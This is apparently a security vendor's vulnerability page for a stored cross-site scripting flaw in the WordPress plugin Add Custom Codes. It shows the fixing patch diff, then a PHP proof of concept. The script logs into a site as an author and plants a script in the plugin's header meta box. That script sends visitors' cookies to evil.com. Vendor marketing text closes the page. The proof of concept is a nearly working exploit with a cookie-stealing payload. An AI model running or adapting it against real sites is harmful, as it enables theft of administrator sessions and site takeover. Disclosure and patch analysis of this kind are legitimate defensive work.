+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+?>
 <div class="accodes-about-wrap">

     <div class="accodes-card">
--- a/add-custom-codes/includes/import-export.php
+++ b/add-custom-codes/includes/import-export.php
@@ -1,12 +1,20 @@
 <?php
+
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 // Export Snippets Handler
 add_action('admin_post_accodes_export_snippets', function () {
     if (!current_user_can('manage_options')) {
         wp_die('Permission denied');
     }

-    $export_scope = $_POST['export_scope'] ?? 'all';
-    $exclude_drafts = isset($_POST['exclude_drafts']);
+    check_admin_referer('accodes_export_snippets', 'accodes_export_nonce');
+
+    $export_scope = isset( $_POST['export_scope'] ) ? sanitize_text_field( wp_unslash( $_POST['export_scope'] ) ) : 'all';
+    $exclude_drafts = isset( $_POST['exclude_drafts'] );

     $args = [
         'post_type' => 'accodes_snippets',
@@ -57,16 +65,39 @@
         wp_die('Permission denied');
     }

-    if (!isset($_FILES['accodes_import_file']) || $_FILES['accodes_import_file']['error'] !== UPLOAD_ERR_OK) {
-        wp_redirect(admin_url('admin.php?page=accodes-import-export&import=failed'));
+    check_admin_referer('accodes_import_snippets', 'accodes_import_nonce');
+
+    // Validate uploaded file array indexes before use. Rely on the upload error index and
+    // `wp_handle_upload()` to safely move and validate the uploaded file.
+    if ( empty( $_FILES['accodes_import_file'] ) || ! isset( $_FILES['accodes_import_file']['error'] ) || $_FILES['accodes_import_file']['error'] !== UPLOAD_ERR_OK ) {
+        wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=failed') ) );
+        exit;
+    }
+
+    // Move uploaded file into WordPress uploads directory for safe handling.
+    require_once ABSPATH . 'wp-admin/includes/file.php';
+    $overrides = [
+        'test_form' => false,
+        'mimes' => [ 'json' => 'application/json', 'txt' => 'text/plain' ],
+    ];
+    $move = wp_handle_upload( $_FILES['accodes_import_file'], $overrides );
+    if ( isset( $move['error'] ) || empty( $move['file'] ) ) {
+        wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=failed') ) );
         exit;
     }

-    $json = file_get_contents($_FILES['accodes_import_file']['tmp_name']);
+    $file_path = $move['file'];
+    $json = file_get_contents( $file_path );
+    // Clean up the moved file after reading.
+    if ( function_exists( 'wp_delete_file' ) ) {
+        wp_delete_file( $file_path );
+    } else {
+        @unlink( $file_path );
+    }
     $snippets = json_decode($json, true);

     if (!is_array($snippets)) {
-        wp_redirect(admin_url('admin.php?page=accodes-import-export&import=invalid'));
+        wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=invalid') ) );
         exit;
     }

@@ -90,16 +121,18 @@
         }
     }

-    wp_redirect(admin_url('admin.php?page=accodes-import-export&import=success&count=' . $imported_count));
+    wp_safe_redirect( esc_url_raw( admin_url('admin.php?page=accodes-import-export&import=success&count=' . (int) $imported_count) ) );
     exit;
 });

 function accodes_import_export_page_callback() {
-    $status = $_GET['import'] ?? '';
-    $count = intval($_GET['count'] ?? 0);
+    // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- values come from redirect parameters after verified handlers
+    $status = isset( $_GET['import'] ) ? sanitize_text_field( wp_unslash( $_GET['import'] ) ) : '';
+    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+    $count = isset( $_GET['count'] ) ? intval( wp_unslash( $_GET['count'] ) ) : 0;

     if ($status === 'success') {
-        echo '<div class="notice notice-success is-dismissible"><p>Import completed! (' . $count . ' snippets)</p></div>';
+        echo '<div class="notice notice-success is-dismissible"><p>Import completed! (' . esc_html( (string) $count ) . ' snippets)</p></div>';
     } elseif ($status === 'failed') {
         echo '<div class="notice notice-error is-dismissible"><p>File upload failed. Please try again.</p></div>';
     } elseif ($status === 'invalid') {
@@ -113,8 +146,9 @@
     ?>
     <div class="accodes-export-box white-import-export">
         <h2>Export Snippets</h2>
-        <form method="post" action="<?php echo admin_url('admin-post.php'); ?>">
+        <form method="post" action="<?php echo esc_url( admin_url('admin-post.php') ); ?>">
             <input type="hidden" name="action" value="accodes_export_snippets">
+            <?php wp_nonce_field('accodes_export_snippets', 'accodes_export_nonce'); ?>
             <p><strong>Which snippets to export?</strong></p>
             <label><input type="radio" name="export_scope" value="all" checked> Export All Snippets</label><br>
             <label><input type="radio" name="export_scope" value="active"> Export only Active Snippets</label>
@@ -125,8 +159,9 @@
     <hr/>
     <div class="accodes-import-box white-import-export">
 		<h2>Import Snippets</h2>
-        <form method="post" action="<?php echo admin_url('admin-post.php'); ?>" enctype="multipart/form-data">
+        <form method="post" action="<?php echo esc_url( admin_url('admin-post.php') ); ?>" enctype="multipart/form-data">
             <input type="hidden" name="action" value="accodes_import_snippets">
+            <?php wp_nonce_field('accodes_import_snippets', 'accodes_import_nonce'); ?>
             <input type="file" name="accodes_import_file" accept=".json" required>
             <button class="button">Import Now</button>
         </form>
--- a/add-custom-codes/taxonomy-meta.php
+++ b/add-custom-codes/taxonomy-meta.php
@@ -5,12 +5,12 @@
 }
 ?>

-<?php $taxonomy_obj = get_taxonomy($taxonomy);
-if ($taxonomy_obj) {
-    $taxonomy_name = $taxonomy_obj->labels->singular_name;
+<?php $accodes_taxonomy_obj = get_taxonomy( $taxonomy );
+if ( $accodes_taxonomy_obj ) {
+	$accodes_taxonomy_name = $accodes_taxonomy_obj->labels->singular_name;
 }  ?>
 <div class="acc-ind-col-1 accodes-taxonomy-edit">
-	<?php echo "<h4>Add custom codes to this ".esc_html($taxonomy_name)."</h4>"; ?>
+	<?php echo "<h4>Add custom codes to this ".esc_html( $accodes_taxonomy_name )."</h4>"; ?>
 	<?php wp_nonce_field('accodes_save_tax_meta', 'accodes_tax_meta_nonce'); ?>

 		<fieldset class="accodes_ind_field">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62149 - Add Custom Codes <= 4.80 - Authenticated (Author+) Stored Cross-Site Scripting
<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_author';
$password = 'author_password';

// Payload to steal administrator cookies
$payload = '<script>var i=new Image();i.src="https://evil.com/steal.php?c="+encodeURIComponent(document.cookie);</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);

// Check for successful login by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Create a new post to inject XSS payload
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract nonce from the post creation page
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to extract nonce from post creation page.');
}

// Submit post with XSS payload in Add Custom Codes meta box
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'post_title' => 'Compromised Post',
    'content' => 'This post contains malicious code.',
    'post_status' => 'publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
    'user_ID' => '2',
    'action' => 'editpost',
    'post_type' => 'post',
    'post_ID' => '',
    // Add Custom Codes meta box fields
    'accodes_meta_nonce' => wp_create_nonce('accodes_save_meta'),
    '_accodes_header_metabox' => $payload,
    '_accodes_footer_metabox' => '',
    'accodes_hide_header' => '0',
    'accodes_hide_footer' => '0'
]));

$response = curl_exec($ch);

// Verify successful post creation
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
    echo 'XSS payload successfully injected. The payload will execute when any user views the post.';
    // Extract post ID for demonstration
    preg_match('/post=([0-9]+)/', $response, $post_id_matches);
    if (!empty($post_id_matches[1])) {
        echo 'nCompromised post URL: ' . $target_url . '/?p=' . $post_id_matches[1];
    }
} else {
    echo 'Payload injection may have failed. Check author permissions and plugin activation.';
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School